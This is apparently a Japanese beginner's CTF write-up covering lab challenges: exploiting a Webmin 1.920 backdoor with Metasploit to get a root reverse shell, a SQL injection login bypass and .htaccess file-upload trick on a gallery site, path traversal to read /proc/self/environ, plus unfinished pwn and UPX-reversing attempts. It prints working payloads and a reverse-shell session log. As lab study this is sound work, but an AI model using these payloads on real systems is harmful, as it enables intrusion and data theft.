一問でも解けたらいいかなと思って挑みました。

一問は解けた。実施期間外で2問解くことに成功。そのほか2問挑んだ問題の途中過程を載せています。他のwriteupと違い、解いているとき、考えて試行したことを書いてあります。余分な部分もありますが、お楽しみいただけたら幸いです。
Pentest
[Easy] WebAdmin
新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。https://box.challenge.nflabs.jp/exercises/439
まずはアクセスしてみましょう。

ウェブでアクセスしてみたけど。まず、これはなんだ?VPNアクセスできているのだろうか?攻撃された後のサイトにアクセスした状態なのか?
いや、そもそもアクセスなので、ssh?でもユーザーは何だろうか?まず、サーバーを立てて、アクセスできているかを確認する。
└─# ping 10.0.102.231
PING 10.0.102.231 (10.0.102.231) 56(84) bytes of data.
64 bytes from 10.0.102.231: icmp_seq=1 ttl=63 time=18.7 ms
64 bytes from 10.0.102.231: icmp_seq=2 ttl=63 time=17.3 ms
64 bytes from 10.0.102.231: icmp_seq=3 ttl=63 time=16.7 ms
pingは通っているようだ。VPN接続してwebサーバーにはアクセスできているようだ。次に、ログインできるかを考える。
└─# ssh root@10.0.102.231
root@10.0.102.231: Permission denied (publickey).
sshしてみたけど、公開鍵認証を採用しているようで、ログインはできそうにない。
webサーバといっているので、80番ポートが開いている可能性がありそう。調べていると、どのポートが開いているかどうかがnmap
というコマンドで行えるようだ。
└─# nmap 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 04:08 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0026s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 5.84 seconds
22,80,443番ポートが開いているようだ。
80ポートにcurl
してみると最初のサイトからアクセスした内容が返ってきた。nginxを使っていることが分かる。(第4章: NginxをインストールしてWebサーバーを動かしてみる)調べていると、この画面はnginxのデフォルトのページのようだ。
ここで、ふと。デフォルトが表示しているところから、設定に脆弱性があると考えた。そこで、ファイルトラバーサルすることができるかをやってみる。
しかし、http://<webサーバIPアドレス>/../../../root/root.txt
として、実行した場合、http://<webサーバIPアドレス>/root/root.txt
となり、../
が利用できなさそう。

しかし、nginxのバージョンが分かった。デフォルト設定のままの脆弱性かnginx/1.18.0 というバージョンの脆弱性を攻めていく方針で行けばいいのかな?
ここで問題を読んでいると、「ペネトレーションテストを行って」とある。そこで、ペネトレーションテストについて、調べてみた。(ペネトレーションテスト入門)有益なサイトだ。
ここで、nmap
にオプションがあり、表示できるものが変わるようだ。そりゃ、オプションはあるわな。
└─# nmap -T4 -A -v -p- -Pn 10.0.102.231
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 07:30 UTC
・・・
Scanning 10.0.102.231 [65535 ports]
Discovered open port 443/tcp on 10.0.102.231
Discovered open port 80/tcp on 10.0.102.231
Discovered open port 22/tcp on 10.0.102.231
Discovered open port 10000/tcp on 10.0.102.231
・・・
もう一度オプションをつけて、nmap
してみると10000番ポートが開いている。(ポート番号(10000-49151))によるとndmp
というサービスによくあてられているポート番号のようだ。
怪しい。ここのポートを調べる。 └─# curl 10.0.102.231:10000
を実行すると、データが送られてきた。見にくいので、URL上で見てみると

ログイン画面が出てきた。開発者ツールで見てみるとtestingとredirectいうクッキーがある。これはcookieで何かできるのか?
さっきのサイトでnmap
で脆弱性をスキャンすることが出来るようなのでしてみる。
└─# nmap -p 10000 --script vuln 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 08:10 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0050s latency).
PORT STATE SERVICE
10000/tcp open snet-sensor-mgmt
10000ポートではsnet-sensor-mgmt
というサービスが動いている。これは(Ubuntu をブラウザから管理する Webmin)で調べると、web上でubuntuにアクセスするサービスのようだ。
これ以降、試行錯誤しているが、いい感じには進まない。
sshの公開鍵での認証よりはwebminのパスワード認証の方が突破の可能性はありそう。しかし、
- CVEを見つけても攻撃の仕方が分からない。
- SQL文をたたいても無効な文字だと言われる。
- よくあるパスワードやユーザー名でもログインできない。
dirb
やgobuster
を試したが、うまくいかなかった。
また、色々調べていると、(Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト)というサイトにたどり着いた。
└─# nmap -sV -O -p- 10.0.102.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 03:15 UTC
Nmap scan report for 10.0.102.68
Host is up (0.011s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx/1.18.0 (Ubuntu)
443/tcp open https?
10000/tcp open http MiniServ 1.920 (Webmin httpd)
nmap
を再度するとwebminのバージョンもわかった。やっぱり、オプション大切。metaspolit
ってツールを使うと脆弱性診断的な、ペネトレーションテストが行えるようだ。その前に、CVEやexploit-DBでどのように攻撃できるか探ろう。MiniServ 1.920
で検索すると(Webmin 1.920 - Unauthenticated Remote Code Execution)というような、いかにも攻撃できそう脆弱性が見つかっているようだ。でも、ここからどうすればいいかわからない。
落ち着いて整理する。外部に開かれているのは、
この4つである。この4つの中での脆弱性を考えていく。dirb
のリスト攻撃は特に引っかからなかった。(Nginx)のファイルトラバーサルも効果なし。
では、一番何かできそうなminiservから調査する。

webmin 1.920で調べると3つのexploitがあるようだ。
(Metasploitの基本的な使い方を解説【Kali Linux】)また、metasploitの使い方を調べてみた。さて、virtual boxでkali linuxを立てて、metasploitを実行してみた。
msf6 > search webmin
Matching Modules
================
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_file_manager_rce 2022-02-26 excellent Yes Webmin File Manager RCE
3 exploit/linux/http/webmin_package_updates_rce 2022-07-26 excellent Yes Webmin Package Updates RCE
・・・
10 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
11 \_ target: Automatic (Unix In-Memory) . . . .
12 \_ target: Automatic (Linux Dropper) . . . .
12もの攻撃手法があるようだ。
どれを実行したらよいのだろうか。(Webmin - Exploit 2)が今回のに似ていそう。これをまずは参考にしていく。やってみたが、不発っぽい。
12通りやっていっても、なんかうまくいかない。使っていて分かったのが、入力に絶対必要な変数が存在している。そこで、その変数に今までの調べで知りえないものが含まれているもの(例:password,UserName)や、webminのバージョンが合わないものも違いそう。
そうすると、searchした中で、10番が求められているものがIPアドレスとポート番号だけなので、実行できる可能性が高いような。でも、10番を実行してもうまくいかない。なんでーーー。
ここで、一回nginxについて調べてみる。

nginx 1.18.0にはないとexploitDBは言っている。これではないのか。
いろいろ試行錯誤してみましたが、metasploitで10番がうまくいきそうな感じが一番する(でも、うまくいかない)。
[*] Started reverse TCP handler on 10.0.2.15:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Exploit completed, but no session was created.
最後のコネクションが確立できないのはなんでだろう。このような返答はなにがいけないのだろうか?
webで調べていましたが、([Solve] Exploit completed but no session was created | Metasploit Framework Error Fix in Hindi)一番の気づきをくれたのはこの動画です。私はvirtualboxにkali linuxを立てて、metasploitを利用していました。仮想環境のせいで、ネットワーク関係がよろしくなかったようだ。ネットワークをNATからブリッジ接続にして仮想環境とwebサーバ自体とを通信できる状態にして行ってみた。
msf6 exploit(linux/http/webmin_backdoor) > run
[*] Started reverse TCP handler on 192.168.100.182:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.100.182:4444 -> 10.0.102.40:42306) at 2024-09-18 06:18:41 -0400
確立することに成功。感動。/root/root.txtを見つけに行く。
pwd
/usr/share/webmin/acl
cd ../
pwd
/usr/share/webmin/acl
変わらない。rootディレクトリまで行って、cat
することを目標にしていたけど、ここから動けないようだ。
一応ls
してみましょうか。たくさん出た。なにかありそうなものをcat
してみる。
ls
CHANGELOG
backup_config.pl
edit_pass.cgi
save_pass.cgi
save_user.cgi
useradmin_update.pl
一部抜粋。ここら辺が情報ありそう?いろいろ見たけど、あまり有益な情報なし。
そういえば、攻撃者はよくwhoami
コマンドをたたくということを見たことがある。やってみよう。
whoami
root
おっと。root権限があるのかい。じゃあ、話は早い。目的のものをcat
すればいいじゃないか。cat /root/root.txt
を行ったら、flagゲット。終了。
[Medium] Gallery (1st mission)
太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。
まずは、サイトを訪れましょう。

シンプルなデザイン。ペネトレーションテストをしていく。まずはnmap
。
└─# nmap -sV -O -p- 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:51 UTC
Nmap scan report for 10.0.102.205
Host is up (0.011s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache/2.4.58 (Ubuntu)
443/tcp open https?
よくあるポートは開いている。まずは80番を確認していく。

apacheを確認したが、バージョンをexploit dbで確認したがヒットなし。

sshも特になし。ふむ、どうしたものか。
次にポートスキャンで脆弱性を探す。
└─# nmap -p 80 --script vuln 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:57 UTC
Nmap scan report for 10.0.102.205
Host is up (0.0021s latency).
PORT STATE SERVICE
80/tcp open http
| http-cookie-flags:
| /admin/login.php:
| PHPSESSID:
|_ httponly flag not set
| http-enum:
|_ /admin/login.php: Possible admin folder
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
Nmap done: 1 IP address (1 host up) scanned in 522.24 seconds
脆弱性がありそうなところは上のような部分だ。/admin/login.php
というものがあるようだ。

お、ログイン画面に来た。何やら攻撃できそうですね。まずはSQLインジェクションを考えるが、adminなどのユーザー名でSQLインジェクションしても駄目っぽい。
(CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server))を見ながらインジェクションできないかを考える。#
を使えたので、mysqlを利用しているのかな?
(Gallery TryHackMe Writeup)ほかのctfを参考にしていたら、admin ' or 1=1 limit 1-- +'
というもので実行してみたら、ログインに成功。違いは何だったのだろうか? 後々調べよう。(後日SQLmapという存在を知る。これでやると何かわかるのかな?)

とりあえず、ログインに成功。ここからどうすればいいのだろうか?アップロードを用いて攻撃を考えろということかな。
まず、アップロードできるかをやってみる。

正常にできそう。

.jpg
なら/upload/imagesに入れることができた。

しかし、テキストファイルはimagesの中には入らなかった。拡張子によってアップロードされる場所が違うのだろうか?

しかし、もう一度上げるとすでにあるといわれる。どこかのフォルダには入っているようだ。
このアップロードでどんな攻撃ができるのか?よくわからん。
調べているとwebshellというものを使うというものがあった。phpファイルに悪意のあるコードを記述し、実行させるようだ。試しにphpファイルがアップロードできるかやってみた。

許可されていないと出てきた。
(How to Exploit File Upload Vulnerabilities (and How to Fix Them!))調べていると、ファイルアップロードには攻撃手法と防御手法が多く存在している。今回、はじかれたのが、拡張子かマジックナンバーか、はたまた、送信タイプによるものか、そこから特定していかないといけない。しかし、方針は見えたような気がする。
つまり、悪意のあるphpファイルを/uploads/imagesにアップロードして、それを実行させる!
phpファイルの中身は(File upload vulnerabilities)こちらのサイトを参考に
<?php
echo file_get_contents('/var/www/flag1.txt');
?>
でやってみる。
まずは拡張子をバイパスしたい。.php2
ではアップロードはできた。しかし、jpgではないので、imagesの中にはない。そうなると、jpgと認識させつつ、phpで送らないといけないということになる。そんなこと可能なのだろうか?
(Red-Knights-CTF/writeups
)やそのほかのものにもよく登場する単語があった。burpsuiteというものらしい。新しいツールを使わないとかな。
さて、burpsuiteを使っていく。インストールまでは完了。使い方だが、firefoxの拡張機能を使うとか、初期設定が難しい印象。(ペネトレーションテストでのBurp Suiteの使用方法)習うより慣れてみる。

お!なんかできてる。(Configuring Burp to work with an external browser)外部のブラウザーも使えるようだ。
読み込みにいちいち時間がかかるからうざいと思っていたけど、fowardを押すまで、編集とかができるのね。便利。ありがとうございます。

画像をアップロード。いろいろ書かれている。これこれ。この感じ。

.phpファイルをアップロードするときの中身。content-typeが当たり前だが、imageみたいなものではない。
Content-Type: image/jpeg
に編集してからfowardしてみた。しかし、拡張子が許可されていないと出た。やはり、拡張子がフィルターになっているようだ。
次に、先のphpファイルの拡張子をjpg
にしてみる。
fileToUpload"; filename="fla.jpg"
Content-Type: image/jpeg
として、送信。アップロードはできた。これで、そのファイルを実行できれば、攻撃できるのかな?拡張子はjpgになってしまっている。そのファイルをGETしても、望んだ結果は帰ってこない。
アップロード先はどこなのだろうか?(【PHP】ファイルのアップロード方法)どこに飛ばすかはもちろん設定できるようだ。(【脆弱性】本当は怖いファイルアップロード攻撃の理解と修正方法(PHP編))実際に、その攻撃手法とその対策はあるようだ。アップロード先を非公開にするのもその一つ。攻撃手法として、アップロード先を決めたりできないのかな。
さて、数日空きましたが、ファイル拡張子をまずはパスするために(File Upload)から、file.php%00.jpgを用いてアップロードしてみる。

アップロードはできた。しかし、パスに訪れても、表示されない。

ここで同じ現象の起きているサイトを見つけた(Web shell upload via extension blacklist bypassをやってみた)。読んでいると.htaccess
というものを使っていた。
この.htaccessファイルでの攻撃手法は調べているときに知ってはいた。これを利用するのかな?

実際に.htaccess
をアップロードできた。この.htaccess
の内容は以下のようなものだ。
AddType application/x-httpd-php .jpg
こうするとことで、.jpg
をphpとして認識できるように設定できるということなのだろう。こうすることで、先のfile.php%00.jpgをphpとして、実行できる。(ファイル名を「file.php%00.jpg」としたが、「file.jpg」でもよさそうだ。)
一つ、burp suitで.jpgファイルを送るときにコンテンツタイプをContent-Type: application/x-httpd-php
にしていないといけないようだ。ここは注意。
つまり、.htaccess
とContent-Type: application/x-httpd-php
でfile.php%00.jpg
をアップロードすることで、flagが確認できるようだ。

これでできた。終了。
[Medium] Gallery (2nd mission)(未解決です。)
これは Gallery (1st mission) の続きです。2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。

同じようにやってみたが、なにも表示されなかった。先との違いは、/varのファイルか/rootのものかという違いだと思う。これによる違いはどうあるのだろうか?ファイル表示ではなく、コマンドを入力のようにしないといけないのかな?
Web Exploitation
[Easy] Path to Secret
脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。ヒント: サーバのファイル名はserver.pyです。
というわけで、webサイトへの攻撃である。

最初のアクセスを行うとこんな感じ。開発者ツールを見てもそこまで変なところはない。LoginとRegisterがあるので、アカウントを作ってアクセスしてみる。

downloadができるようになった。でも、どのような攻撃ができるかわかっていない。
ここで、任意のパスのファイルをダウンロードできるのではないのか?と思った。(CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip))をもとにファイルトラバーサルを行う。そうすると、ヒントで言われていたserver.pyをダウンロードすることに成功する。
@app.route("/admin")
def admin():
if session.get("username") != "admin":
return "You are not admin."
users = User.query.all()
return render_template("admin.html", users=users)
pyファイルを調べている。ここんところは気になる。けど、特にいい感じにはならない。調べているとflaskというサービスには脆弱性があるような記事が多い。
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")
から、configの値を獲得できれば、成功のようだ。flask-unsignをやっているが、あまりいい感じにならない。
大会後、友人に助言をいただき、また、調べると環境変数は/proc/[pid]/environ
というファイルに書き込まれるようだ。また、pidが分かっていなくても、動いているサービスなら/proc/self/environ
にあるようだ(【Linux入門】/proc/self/environで環境変数を取得する)参照。
server.pyをダウンロードした要領で、このファイルをダウンロードすると、SECRET_KEYを見ることが出来る。なるほど。
Binary Exploitation
[Easy] io tutorial(解けていない)
同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。原因を見つけてシェルを取って助けてあげよう!たしか先生は変数の初期化を忘れちゃダメって言ってたような?
コードについて調べたのは以下です。
見たい人は開けて
char *MESSAGES[] = {
"! ! ! ! welcome ! ! ! !\n",
"8 8 8 8 welcome 8 8 8 8\n",
"WELCOME WELCOME WELCOME\n",
};
入力の時の1-3を選ばせるのはこの中からどれを表示するかを選択していると考えられる。
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
よくある初期化。
void win() {
puts("WIN!!");
execve("/bin/sh", NULL, NULL);
exit(0);
}
ここに飛ばせば勝ちのようだ。よくあるpwnといった感じ。
void readn(char *buf, size_t size) {
for (int i = 0; i < size; i++) {
read(0, buf + i, 1);
if (buf[i] == '\n') {
buf[i] = '\0';
return;
}
}
getchar();
}
readnはbufと2を受け取る。i=0の時にbufに1バイト読み込み。それをi=1の時にも行う。もし、読み込んだものが\n
なら\0
にする。getchar();ではユーザーの入力を待つことになる?なんでだ?これは標準入力の\n
を読み飛ばす働きがあるようだ。
int readint() {
char buf[0x10];
readn(buf, 2);
return atoi(buf);
}
bufは10バイトの領域を確保。readnにbufと2を渡す。atoi関数は文字列として認識されている数字を数値(int)に変換する関数である。
void greet() {
char message[25];
printf("greeting message? (1 ~ 3) > ");
int which = readint();
if (which < 1 || which > 3) {
printf("invalid!");
exit(1);
}
strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1);
printf("%s", message);
}
最初のメッセージのやつ。
int main() {
greet();
printf("input size > ");
int size = readint();
if (size < 0) {
size = 0;
}
char input[0x100];
printf("input > ");
read(0, input, size);
printf("your input: %s\n", input);
return 0;
}
greet()でメッセージを選択。そのあと入力サイズを選ぶ。sizeがマイナスの時は0にする。inputには256byteを許すinput[0x100]である。
read関数では、inputのところに読み込んだデータを保存する。sizeは読み込むバイト数である。最初の引数=0ということはユーザーの標準入力を認識する。
readint()を見ていく。
さて、コードは解読したが、どのような穴があるか、わからん。
[Easy] Pack(解けていません)
世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?
表層解析ということなので、まずfile
コマンド。
└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed, 3 sections
UPXというもので圧縮されているのかな?解凍してみる。
└─# ./upx -d ../pack.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
20480 <- 12800 62.50% win32/pe pack.exe
Unpacked 1 file.
解凍できたっぽい。
└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections
実行結果が変わっている。strings
してみると
retry :
Incorrect
Almost! retry:
retry :
Incorrect
Enter anything key:
Congratulations!
FindResource error
MANIFEST
Flag is :
binary unpacked!
)B(:+
何やらflagに関係することが述べられていそう。一応入力したが、はじかれた。binary unpackedとはバイナリーの解凍を行えということなのだろうか?
└─# hexdump -v -C pack.exe
00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
MZということで、実行ファイルであることは確かそうだけど。もしかして、ここから静的解析に移ったりするのかな?
ということで、静的解析に移ってみる。まずFlag is :binary unpacked!
から攻めてみる。

flag is や congra..を出力するところや入力を待つところの関数をリネームしてみた。flagの入力を求めて、それを下の関数で本物のflagと比較していると予想した。

comp関数の中では何かしらの処理をして比較し、あっていればcongra..の文字列を返すと考えている。でも、どのようになっているかよくわからない。